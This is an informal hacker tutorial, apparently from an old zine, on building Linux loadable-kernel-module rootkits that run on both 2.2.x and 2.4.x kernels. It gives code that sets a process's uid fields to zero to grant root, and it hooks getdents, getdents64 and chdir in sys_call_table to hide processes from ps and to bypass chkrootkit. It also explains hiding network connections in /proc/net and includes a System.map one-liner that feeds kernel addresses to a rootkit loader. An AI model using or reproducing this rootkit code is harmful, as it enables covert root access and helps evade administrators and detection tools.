..----------------------------------..
..    linux lkm trickz (part 2)     ..
..__________________________________..


   In  this article u'll know how  to write linux lkms, which should  work
   on kernels 2.2.x  and 2.4.x without recompilation.  Ppl, who have a big
   experience with loadable modules coding will not find there smth'  new,
   its mostly for beginnerz.

   So,  we  codin' some  dumb  rk,  which  has  to  hide  our  evil-pid's,
   connections, etc. Often we use funcz like memset, kmalloc, memcpy, etc.
   In kernel all interesting for us info located in lotz of structs.  It's
   good idea,  but in new  versions of kernels this structs can  have many
   differencez with the old ones.  And our mad-lkm can crash box  with new
   or very old kernel. So, lets go.

   At  first,  let's  examine task_struct.  By this struct discrybed every
   active  process  in system.  Here a part  of it from sched.h  of  2.2.7
   kernel:

 volatile long state
 nsigned long flags
 int sigpending
 mm_segment_t addr_limit
 struct exec_domain *exec_domain;
 volatile long need_resched;
 long counter;
 long priority;
 cycles_t avg_slice;
 int has_cpu;
 int processor;
 int last_processor;
 int lock_depth;
 struct task_struct *next_task, *prev_task;
 struct task_struct *next_run,  *prev_run;
 struct linux_binfmt *binfmt;
 int exit_code, exit_signal;
 int pdeath_signal;
 unsigned long personality;
 int dumpable:1;
 int did_exec:1;
 pid_t pid;
 pid_t pgrp;
 pid_t tty_old_pgrp;
 pid_t session;
 int leader;
 struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
 struct task_struct *pidhash_next;
 struct task_struct **pidhash_pprev;
 struct task_struct **tarray_ptr;
 struct wait_queue *wait_chldexit;
 struct semaphore *vfork_sem;
 unsigned long policy, rt_priority;
 unsigned long it_real_value, it_prof_value, it_virt_value;
 unsigned long it_real_incr, it_prof_incr, it_virt_incr;
 struct timer_list real_timer;
 struct tms times;
 unsigned long start_time;
 long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
 unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
 int swappable:1;
 uid_t uid,euid,suid,fsuid;
 gid_t gid,egid,sgid,fsgid;


   And part from sched.h of 2.4.x kernel:

 volatile long state
 unsigned long flags
 int sigpending
 mm_segment_t addr_limit
 struct exec_domain *exec_domain;
 volatile long need_resched;
 unsigned long ptrace;
 int lock_depth;
	long counter;
	long nice;
	unsigned long policy;
	struct mm_struct *mm;
	int has_cpu, processor;
	unsigned long cpus_allowed;
	struct list_head run_list;
	unsigned long sleep_time;
	struct task_struct *next_task, *prev_task;
	struct mm_struct *active_mm;
	struct linux_binfmt *binfmt;
	int exit_code, exit_signal;
	int pdeath_signal;
	unsigned long personality;
	int dumpable:1;
	int did_exec:1;
	pid_t pid;
	pid_t pgrp;
 pid_t tty_old_pgrp;
	pid_t session;
	pid_t tgid;
	int leader;
	struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
	struct list_head thread_group;
	struct task_struct *pidhash_next;
	struct task_struct **pidhash_pprev;
	wait_queue_head_t wait_chldexit;
	struct semaphore *vfork_sem;
	unsigned long rt_priority;
	unsigned long it_real_value, it_prof_value, it_virt_value;
	unsigned long it_real_incr, it_prof_incr, it_virt_incr;
	struct timer_list real_timer;
	struct tms times;
	unsigned long start_time;
	long per_cpu_utime[NR_CPUS], per_cpu_stime[NR_CPUS];
	unsigned long min_flt,
 maj_flt,
 nswap,
 cmin_flt,
 cmaj_flt,
 cnswap;
	int swappable:1;
	uid_t uid,euid,suid,fsuid;
	gid_t gid,egid,sgid,fsgid;


   Now  this code,  which  give's us root  on 2.4.x kernels  fuck's us  on
   2.2.x (we use one lkm, precompiled in 2.4.x system):

 current->uid  = 0;
 current->euid = 0;
 current->gid  = 0;
 current->egid = 0;

   Sure, offsets are different! And how we  can get them?  Maybe you wanna
   count it manually, but there is a more tricky way:  we  write new  func
   for getdents syscall, which  must copy needed  task_struct to  address,
   we specified as a second arg. Now  we need some  tool to get  our "log"
   from getdents and save it to phile:

 .globl _start
 _start:

   xorl %eax,%eax
   xorl %edx,%edx
   mov $5,%al
   movl $phile,%ebx
   movl $0x1010,%ecx
   int $0x80

   movl %eax,%ebx
   movl $141,%eax
   movl $infa,%ecx
   movl $len,%edx
   int $0x80

   movl $6,%eax
   int $0x80

   movl $5,%eax
   movl $logfile,%ebx
   movl $0x1010,%ecx
   movl $0700,%edx
   int $0x80
 
   movl %eax,%ebx
   movl $4,%eax
   movl $infa,%ecx
   movl $len,%edx
   int $0x80

   movl $6,%eax
   int $0x80
   movl $1,%eax
   int $0x80
 
 .data
   phile: .asciz "/"
   logfile: .asciz "SUPA_LOGG"
   infa: 
   .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
                     < REPEaT THIS ^^^ STRING ABOUT 10 times >
   .ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   .asciz "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
   len = .-infa 


   Looks lame, but wtf, man?! Write another one if you need ;) Well now we
   inserting our new getdents() into kernel and run gotlog.  Let's hexdump
   it:

 0000000 0000 0000 0000 0000 0000 0000 0000 c000
 0000010 1c60 c020 0000 0000 0009 0000 0014 0000
 0000020 0000 0000 0000 0000 0000 0000 0000 0000
 0000030 ffff ffff 6000 c021 2000 c797 6000 c021
 0000040 6000 c021 0000 0000 4238 c020 0000 0000
 0000050 0011 0000 0000 0000 0000 0000 0003 0000
 0000060 039e 0000 039e 0000 0000 0000 02aa 0000
 0000070 0000 0000 6000 c70f 6000 c70f 0000 0000
 0000080 0000 0000 0000 0000 0000 0000 8354 c02b
 0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
 00000a0 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00000c0 0000 0000 8fbc 0000 6000 c6ce 868c c011
 00000d0 0000 0000 0000 0000 0000 0000 0000 0000
 00000e0 0e36 0001 000f 0000 02ac 0000 000c 0000
 00000f0 0005 0000 0000 0000 0000 0000 0000 0000
 0000100 0000 0000 0001 0000 0000 0000 0000 0000
 *
 0000110

   Okay. I know pid  of prog, so i can find  offset to pid  in task_struct
   on 2.2.x kernel:  its 0x60.  Dunno where uid's, cuz  i run  loger under
   root. Now let's make new one under none-privileged process:

 0000000 0000 0000 0000 0000 0000 0000 0000 c000
 0000010 1c60 c020 0000 0000 0008 0000 0014 0000
 0000020 0000 0000 0000 0000 0000 0000 0000 0000
 0000030 ffff ffff 6000 c021 4000 c7b3 6000 c021
 0000040 6000 c021 0000 0000 4238 c020 0000 0000
 0000050 0011 0000 0000 0000 0000 0000 0003 0000
 0000060 0308 0000 0308 0000 0000 0000 024f 0000
 0000070 0000 0000 4000 c7b3 4000 c7b3 0000 0000
 0000080 0000 0000 0000 0000 0000 0000 830c c02b
 0000090 06f0 c020 6090 c6ce 0000 0000 0000 0000
 00000a0 0000 0000 0000 0000 0000 0000 0000 0000
 *
 00000c0 0000 0000 a2d6 0000 6000 c6ce 868c c011
 00000d0 0000 0000 0000 0000 0000 0000 0000 0000
 00000e0 aa2b 0000 0002 0000 0284 0000 000a 0000
 00000f0 0005 0000 0000 0000 0000 0000 0000 0000
 0000100 0000 0000 0001 01f5 01f5 01f5 01f5 01f5
 0000110 01f5 01f5                              
 0000114

   Well done, offset to uid's - 0x106.  Every uid (uid, euid, suid, fsuid)
   have size == 2 bytes, so we got 8 bytes at all. But it's enough to fill
   with zeroes only 4 first:

 char *tsk;
 <skipped>

  tsk = (char *)get_current();
  memset(tsk+0x106,0,4); // yap, now our task privileged
  tsk = 0;

   Good, now we can got_r00t under linux 2.2.x.  Another one trouble - how
   we can get kernel version on fly? Imho best way is to use argz:

  static int kern;
  MODULE_PARM(kern,"i");

   Read for comments header linux/module.h. First arg of MODULE_PARM - var
   we need get on loading, the second -  its type (in this xmpl its "i" ==
   integer). And now we can pass kernel version to module dynamicly:

 daroot`# insmod -f test.o kern=<value>

   Now in our lkm we can organise a branching:

 <* skipped *>

 if (kern > 2){    /*  2.4.x */

   current->uid  = 0;
   current->euid = 0;
   current->gid  = 0;
   current->egid = 0;

 } else {          /*  2.2.x  */
   tsk = (char *)get_current();
   memset(tsk+0x106,0,4);
   tsk = 0;
 }

 <* skipped *>


   Yeah, that's somethin comes out ;)  It's seems to  be no problems  with
   open(), cuz offset to addr_limit in task_struct are the same in 2.2.x &
   2.4.x kernels.

   Okay, we done a static part.  Files hiding  is also lame'n'easy (thx to
   Alan Cox and co ;)) cuz struct dirent has  no changes  since 2.2.x. So,
   it's should be ok in our code.  Now, lets look at  dynamic  part of rk:
   how to organize process hiding? In header-phile sched.h defined a  nice
   function for_each_task(),but our code must work fine under both kernels
   types (2.{2,4}.x) without any problems, so this way sux  hard.  Btw, in
   2.4.x for workin with vfs used new function getdents64. Its good, so we
   hookin' getdents syscall with a  old-style process-hiding  technique if
   it's 2.2.x kernel. Else justa hookin' getdents64 with a  for_each_task-
   based process-hidin mechanism. Small xmpl:


 extern void* sys_call_table[];

 static int kern;
 MODULE_PARM(kern,"i");

 <*skipped*>

 static long new_getdents64(unsigned int fd, void *dirp, \
             unsigned int count){
   long ret;
   struct task_struct *k;
 
   for_each_task(k){
     if (k->gid == 31337){
       k->exit_code = k->pid;
       k->pid = 0;
     }
   }

   ret = old_getdents64(fd,dirp,count);

   for_each_task(k){
     if (k->gid == 31337) k->pid = k->exit_code;
   }

   return ret;
 }

 <*skipped*>

 int init_module()
 {
 
   if (kern > 2){
     b_getdents64 = sys_call_table[220];
     sys_call_table[220] = n_getdents64;
   } else {
     b_getdents = sys_call_table[141];
     sys_call_table[141] = n_getdents;
     printk("using old-style process hiding teq\n");
   }

 <*skipped*>

   If u dunno  wtf is this,  listen up:  when we seting  root-uidz  to our
   task, we also changing gid to 31337. Now nobody  can't see our process,
   cuz ps reads processes  entries from /proc,  and there dir with name ==
   our pid now becomes invisible  -  getdents64 removes it from list.  All
   childs of  our 1337-supervisor  task'll  be also  hiden  cuz  they  get
   parrent's gid. It's sure easy and nice.And what we gonna do with 2.2.x?
   Well, it's a more difficult. I used this way: i defined a static char[]
   outside of other functions  to stores pid'z of hiden tasks. When client
   wanna got r00t,  we zeroing his uidz, searching a null-slot in our task
   list and inserting there his pid. Now we can get pidz from list when we
   need it in little endian (x86) order our_array[i] + 256*our_array[i+1].

   Now on every call of our getdents() we should redirect call to original
   sys_getdents() and after cut from output hiden tasks entries (all hiden
   tasks pidz we can find in our list).  Everything now should be ok. Now,
   i hope, you can write your own new_getdents() (it's a bad idea to write
   it like in 0.42 adore.. arghhh, i hate 7350!). There is no my code here
   cuz it's mad, er337 and supports chkrootkit bypassing ;)).

   Well, and some small details: u can hook sys_exit() and sys_kill()  and
   remove task's pid from list if process wanna die.


   And some words about chkrootkit.

   This prog updated regularly and it's authors adds more  and more tricks
   to detect our mad w4hrezz. In every rk there are many holes, with  wich
   admin can detect us. So, don't fuck hard with it! Good-stealthed (there
   is no best!) rootkit's size more than normal in about 1,5-2 times.  And
   its  really sux.  Imho, the best way - bypassin ONLY standart  security
   checks. Don't worry, be happy.

   Ma xmpl to how-to bypass current version's protection:

/*
================================================================================
               ANTI - CHKrootkit v <= 0.43 part here...
================================================================================
*/

static int n_chdir(char *path){
  int i,pid,n;
  struct task_struct *find;
  unsigned char *k,*demem,cid[2],ptr[6];

  _memset(&ptr,0,6);

  if ((_strncmp(path,"/proc",5) != 0) || (_strlen(path) > 11))
           return b_chdir(path);

  for (i=7; i < _strlen(path); i++)
           ptr[i-7] = path[i];

  pid = ma_atoi(path);

  if (irqno == 2){

    demem = (char *)&matasklist;

    for (i=0;i<MAX_TASKS;i++){

      _memcpy(&cid,demem+2*i,2);
      if ((cid[0] + 256*cid[1]) != pid) continue;
      demem = 0;
      return ENOENT;

    }

    demem = 0;

  } else {

  for_each_task(find){
    if ((find->pid == pid) && (find->gid == HIDEN_GID) \
      && (find->uid == 0)) return ENOENT; }
  }

  return b_chdir(path);
}

/******************************************************************************/

   Small hacks in  nethiding: in  kernels 2.2.x  and 2.4.x  there are some
   diffz in network statistic:

   
    philename    i  2.4.x              i     2.2.x
 ----------------+---------------------+----------------
 /proc/net/tcp   i           every record's len
                 i     150 bytes       i   128 bytes
 ----------------+---------------------+----------------
 /proc/net/udp   i           every record's len
                 i     128 bytes       i   128 bytes
                 +---------------------+----------------
                 i           records indexing?
                 i      nope           i     yeah
 ----------------+---------------------+----------------

   Here listings:

/proc/net/tcp on 2.4.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
 0: 00000000:0081 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1373 1 c7ca7580 300 0 0 2 -1
 1: 00000000:00E2 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1804 1 c67e3580 300 0 0 2 -1
 2: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1365 1 c7b6d0c0 300 0 0 2 -1
 3: 00000000:0065 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1367 1 c7b6d5c0 300 0 0 2 -1
 4: 00000000:00C8 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1383 1 c6afc060 300 0 0 2 -1
 5: 00000000:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1375 1 c7ca7a80 300 0 0 2 -1
 6: 00000000:00CD 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1385 1 c6afc560 300 0 0 2 -1
 7: 00000000:00B3 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1379 1 c67fe540 300 0 0 2 -1
 8: 00000000:007A 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1369 1 c7b6dac0 300 0 0 2 -1
 9: 00000000:00BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1381 1 c67fea40 300 0 0 2 -1
10: 00000000:00DE 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1800 1 c6afca60 300 0 0 2 -1
11: 00000000:007E 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1371 1 c7ca7080 300 0 0 2 -1
12: 00000000:00DF 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1802 1 c67e3080 300 0 0 2 -1
13: 00000000:009F 00000000:0000 0A 00000000:00000000 00:00000000 00000000  0    0 1377 1 c67fe040 300 0 0 2 -1
 

/proc/net/udp on 2.4.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
 72: 00000000:00C8 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1922 2 c7b6d5c0
 95: 00000000:00DF 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1921 2 c7b6dac0
100: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000  0    0 1923 2 c7b6d0c0

   Here there's no records indexing, so we can cut it easy.

/proc/net/tcp on 2.2.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt  uid  timeout inode
0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000    0    0       1345
1: 00000000:0064 00000000:0000 0A 00000000:00000000 00:00000000 00000000    0    0       1343

/proc/net/udp on 2.2.x:
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt uid  timeout inode
0: 00000000:006E 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1349
1: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1348
2: 00000000:0064 00000000:0000 07 00000000:00000000 00:00000000 00000000   0    0      1347

   Fuck, here all records in tcp and udp are indexed, so we need check for
   it after every rec deletion.


   And  the  last  trick:  when you  inserting  your  lkm  ``on fly''  via
   /dev/kmem it's imho more faster to get kmalloc, sys_call_table and else
   addresses in kernel by reading phile /boot/System.map.  In  many  linux
   distributives, if there are more than one kernel on loading sys creates
   a symbolic link to a ``current'' System.map, so we shouldn't care about
   it. In xmpl, we  wanna give addrz of  kmalloc and sys_call_table to our
   loader via stdarg. Okay, u can do it like here:

 daroot`# ./evil_rk_loader `cat /boot/System.map | grep -a "D sys_call" | awk
 -F " " '{print $1}'` `cat /boot/System.map | grep -a  "T kmalloc" |  awk  -F " "
 '{print $1}'`

   As a bonus here tiny function to convert ascii to long:

 unsigned long ma_atol(char *p){
 int i;
 unsigned long tmp,fs,res=0;
 char v[8];

 memcpy(&v,p,8);
 fs = 65536 * 256;
 
 for(i=0; i<8; i+=2){

   if (v[i] == 0x30) tmp = 0;
   if (v[i] == 0x31) tmp = 16;
   if (v[i] == 0x32) tmp = 32;
   if (v[i] == 0x33) tmp = 48;
   if (v[i] == 0x34) tmp = 64;
   if (v[i] == 0x35) tmp = 80;
   if (v[i] == 0x36) tmp = 96;
   if (v[i] == 0x37) tmp = 112;
   if (v[i] == 0x38) tmp = 128;
   if (v[i] == 0x39) tmp = 144;
   if (v[i] == 0x61) tmp = 160;
   if (v[i] == 0x62) tmp = 176;
   if (v[i] == 0x63) tmp = 192;
   if (v[i] == 0x64) tmp = 208;
   if (v[i] == 0x65) tmp = 224;
   if (v[i] == 0x66) tmp = 240;

   if (v[i+1] == 0x31) tmp += 1;
   if (v[i+1] == 0x32) tmp += 2;
   if (v[i+1] == 0x33) tmp += 3;
   if (v[i+1] == 0x34) tmp += 4;
   if (v[i+1] == 0x35) tmp += 5;
   if (v[i+1] == 0x36) tmp += 6;
   if (v[i+1] == 0x37) tmp += 7;
   if (v[i+1] == 0x38) tmp += 8;
   if (v[i+1] == 0x39) tmp += 9;
   if (v[i+1] == 0x61) tmp += 10;
   if (v[i+1] == 0x62) tmp += 11;
   if (v[i+1] == 0x63) tmp += 12;
   if (v[i+1] == 0x64) tmp += 13;
   if (v[i+1] == 0x65) tmp += 14;
   if (v[i+1] == 0x66) tmp += 15;
   
   res += tmp * fs;
   fs /= 256;
 }

 return res;
}


   So, that's all!!  May be this article'll be  usefull 4 u,  may be  not.
   Anyway, hangup.
